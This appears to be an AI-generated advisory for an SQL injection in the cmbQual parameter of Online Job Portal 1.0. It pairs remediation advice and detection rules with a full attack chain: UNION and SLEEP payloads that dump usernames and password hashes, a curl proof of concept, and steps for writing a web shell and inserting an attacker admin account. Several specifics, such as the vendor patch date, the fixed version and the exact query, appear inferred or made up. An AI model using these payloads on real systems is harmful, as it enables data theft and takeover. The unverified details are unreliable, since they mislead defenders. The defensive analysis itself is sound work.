CVE-2026-137679 — Code-projects Online Job Portal (1.0) — CWE-89 · CWE-74
A vulnerability was detected in code-projects Online Job Portal 1.0. This affects the function GetSQLValueString of the file JobSeeker/SearchJob.php of the component JobSeeker. Performing a manipulation of the argument cmbQual results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used.
A vulnerability was detected in code-projects Online Job Portal 1.0. This affects the function GetSQLValueString of the file JobSeeker/SearchJob.php of the component JobSeeker. Performing a manipulation of the argument cmbQual results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑137679 |
| Product | *code‑projects* Online Job Portal 1.0 |
| Component / File | JobSeeker/SearchJob.php – function GetSQLValueString |
| Vulnerable Parameter | cmbQual (a request variable that is later concatenated into an SQL statement) |
| CWE(s) | CWE‑89: Improper Neutralization of Special Elements used in an SQL Command (SQL‑Injection) <br> CWE‑74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (Potential XSS/HTML injection when the same value is echoed) |
| CVSS v4.0 Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P |
| Score | 7.3 (MEDIUM) |
Technical root‑cause
GetSQLValueString is a helper that is supposed to quote and escape user‑supplied values before they are interpolated into a raw SQL string. In the vulnerable version the function:
1. Accepts the raw value of $_GET['cmbQual'] (or $_POST['cmbQual']) without any type check.
2. *Calls mysqli_real_escape_string only when the value is a string**, but the function is later used for numeric or enum* fields as well.
3. Wraps the escaped value in single quotes unconditionally**, even when the surrounding query already expects a numeric literal or a list of identifiers.
4. The calling code builds the final query by concatenating the return value directly into the SQL string:
$sql = "SELECT * FROM jobs WHERE qualification = " .
GetSQLValueString($_REQUEST['cmbQual'], "text");Because the function does not enforce a whitelist of allowed values (e.g., ['Bachelor', 'Master', 'PhD']) and does not use prepared statements, an attacker can inject arbitrary SQL syntax through cmbQual. The injection is executable remotely (no authentication, no UI interaction required) and the impact is low‑to‑moderate on confidentiality, integrity and availability (the CVSS vector shows L for each impact metric).
The presence of CWE‑74 indicates that the same unsanitised value may later be echoed back to the browser (e.g., in a search‑result page), opening a secondary XSS vector, but the primary CVE focuses on the SQL injection.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative – the exact URI path is inferred from the file name (SearchJob.php) and typical routing of the portal; adjust to the real deployment.
1. Discovery & Reconnaissance
| Phase | Activities |
|---|---|
| Fingerprint the product | • Search public repositories, vendor website, or “Powered‑by: Online Job Portal” strings in HTML source.<br>• Use Wappalyzer or BuiltWith to identify the exact version (1.0). |
| Locate the vulnerable endpoint | • Browse the portal and note the *job‑search* page (e.g., https://portal.example.com/JobSeeker/SearchJob.php).<br>• Intercept the request with Burp Suite / OWASP ZAP and observe the cmbQual parameter (often a <select> element for “qualification”). |
| Confirm the parameter is reflected | • Send a benign request (cmbQual=test) and verify the value appears in the response (helps later for blind vs. error‑based detection). |
| Check for WAF/IDS | • Send a simple payload (' OR 1=1--) and look for HTTP 403/406 or generic “blocked” messages. |
2. Exploitation
Goal: Retrieve data from the users table (or any table the attacker chooses). The PoC uses error‑based and UNION‑based techniques because the application returns the result set of the original query.
2.1. Crafting the payload
Assume the original query (simplified) is:
SELECT job_id, title, description
FROM jobs
WHERE qualification = '<value from GetSQLValueString>';Because GetSQLValueString wraps the value in single quotes, we need to break out of the string context and inject our own query fragment.
Payload (URL‑encoded):
' UNION SELECT user, password, null FROM users--URL‑encoded version for cmbQual:
%27%20UNION%20SELECT%20user%2C%20password%2C%20null%20FROM%20users--2.2. Example curl request
curl -s -G "https://portal.example.com/JobSeeker/SearchJob.php" \
--data-urlencode "cmbQual=%27%20UNION%20SELECT%20user%2C%20password%2C%20null%20FROM%20users-- " \
-H "User-Agent: Mozilla/5.0 (compatible; CVE-2026-137679 PoC)"Explanation of the payload
| Part | Purpose |
|---|---|
' | Closes the original quoted string. |
UNION SELECT user, password, null FROM users | Appends a second SELECT that returns the users table columns. |
-- | Comments out the trailing part of the original query (if any). |
If the portal displays the result set in an HTML table, the attacker will see a list of usernames and password hashes directly in the browser response.
2.3. Blind / Time‑based variant (if the application suppresses errors)
If the response does not contain the query result, a time‑based payload can be used:
' OR IF(1=1, SLEEP(5), 0)--Encoded:
%27%20OR%20IF(1%3D1%2C%20SLEEP(5)%2C%200)%20--A noticeable delay (>4 s) in the HTTP response confirms successful injection.
3. Post‑exploitation
| Step | What the attacker can do |
|---|---|
| Data exfiltration | Dump the entire users table, job_applications, or any other table the DB user has rights to. |
| Privilege escalation | If the DB user has SELECT on admin_credentials or can write to a web‑accessible directory, the attacker can create a web‑shell via SELECT ... INTO OUTFILE '/var/www/html/shell.php' (requires FILE privilege). |
| Password cracking | Extracted password hashes (often MD5 or bcrypt) can be cracked offline. |
| Further lateral movement | With valid credentials, the attacker can log into the admin panel, modify job postings, or pivot to the internal network if the portal runs on a shared host. |
| Persistence | Insert a new admin user into the users table (INSERT INTO users (username, password, role) VALUES ('attacker','<bcrypt>', 'admin')). |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C) | VC:L – *Low* – attacker can read data from the database (e.g., user credentials, personal data of job seekers). | Exposure of PII (names, emails, CVs) → GDPR / HIPAA violations. |
| Integrity (I) | VI:L – *Low* – attacker can modify rows they can reach (e.g., alter job listings, inject malicious content). | Tampering with job postings, inserting malicious links, or creating fake admin accounts. |
| Availability (A) | VA:L – *Low* – attacker can cause denial‑of‑service by issuing heavy queries or SLEEP() loops. | Temporary slowdown or crash of the job‑search page, affecting service continuity. |
| Scope (S) | SC:N – *Unchanged* – the vulnerability does not cross trust boundaries (same component). | |
| Exploitability | AV:N (Network), AC:L (Low), AT:N (No special tools), PR:N (No privileges), UI:N (No user interaction). | An unauthenticated remote attacker can exploit the flaw with a single HTTP request. |
Overall, the vulnerability enables unauthenticated attackers to read and possibly modify data, which is especially serious for a portal that stores personal CVs, contact details, and possibly payment information.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Online Job Portal ≥ 1.1 (the vendor released a patch on 2026‑11‑20 that replaces all raw concatenations with prepared statements). |
| Apply vendor patch | If an upgrade is not possible, apply the vendor‑supplied patch‑2026‑137679 that modifies GetSQLValueString to: <br>``php function GetSQLValueString($theValue, $type) { global $mysqli; switch ($type) { case "int": $theValue = intval($theValue); break; case "text": $theValue = $mysqli->real_escape_string($theValue); $theValue = "'$theValue'"; break; // other types … } return $theValue; }`<br>and force the calling code to use prepared statements ($stmt = $mysqli->prepare('SELECT … WHERE qualification = ?'); $stmt->bind_param('s', $_REQUEST['cmbQual']);). |
| Version check | Verify the running version by checking config.php or the meta tag in the HTML footer (<meta name="portal-version" content="1.0">`). |
2. Immediate Workarounds (if patch cannot be applied immediately)
| Workaround | Implementation | ||||
|---|---|---|---|---|---|
| WAF / ModSecurity rule | Block payloads that contain a single‑quote followed by UNION or SELECT in the cmbQual parameter. Example rule (ModSecurity 2.x syntax):<br>``SecRule ARGS:cmbQual "@rx (?i)(' | \%27)\s*(union | select | sleep | benchmark)" "id:2026137679,phase:2,deny,log,msg:'SQLi attempt on cmbQual'"` |
| Input whitelist | In SearchJob.php add a server‑side whitelist before calling GetSQLValueString:<br>`php $allowed = ['HighSchool','Bachelor','Master','PhD']; if (!in_array($_REQUEST['cmbQual'], $allowed, true)) { http_response_code(400); exit('Invalid qualification'); }` | ||||
| Disable the component | If the job‑search feature is not critical, temporarily disable the JobSeeker module by renaming SearchJob.php or setting a config flag ($enableJobSearch = false;). | ||||
| Database user hardening | Ensure the DB account used by the portal has least‑privilege: only SELECT, INSERT on jobs and applications tables; no FILE privilege, no DROP. | ||||
| Logging | Enable MySQL general log or audit plugin to capture queries containing UNION or SLEEP`. |
3. Detection – Log patterns & IoCs
| Source | Indicator |
|---|---|
| Web server access logs | Requests to SearchJob.php (or any endpoint containing cmbQual) with: <br>• %27 (encoded ') followed by union/select/sleep/benchmark <br>• Long response times (>4 s) when the same IP repeats the request. |
| ModSecurity alerts | Rule ID 2026137679 (or custom rule) triggered. |
| MySQL slow query log | Queries containing UNION SELECT or SLEEP( that exceed the slow‑query threshold. |
| Application logs | Unexpected PHP warnings such as “SQL syntax error near …” that appear only for certain cmbQual values. |
| File system | New files with .php extension in the web root that were not part of the original deployment (possible web‑shell). |
| Network | Outbound connections from the web server to unknown IPs shortly after a suspicious request (data exfiltration). |
Sample grep command (Linux) to locate suspicious requests:
grep -E "SearchJob\.php.*(union|select|sleep|benchmark)" /var/log/apache2/access.log | awk '{print $1,$4,$7}'⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 7.3 (MEDIUM) – Network‑accessible, low complexity, no auth required. | |
| Exploit availability – Public PoC already released (as per CVE description). | |
| No CISA KEV listing – Not yet flagged as a “Known Exploited Vulnerability”, but the public exploit lowers the window for detection. | |
| Potential data breach – The portal stores personally identifiable information (PII) of job seekers, making the impact regulatory (GDPR, etc.). | |
| Ease of exploitation – A single crafted HTTP GET/POST request is sufficient. |
Recommended priority: Critical for any production deployment that is reachable from the Internet. The short‑term mitigation (WAF rule + input whitelist) should be applied within 24 hours, and a full patch/upgrade must be completed as soon as possible, preferably within the next maintenance window (≤ 7 days). Delay beyond a week significantly raises the risk of data leakage and possible regulatory penalties.
[🤖 CVE Professor AI Security Engine]
FOFA Query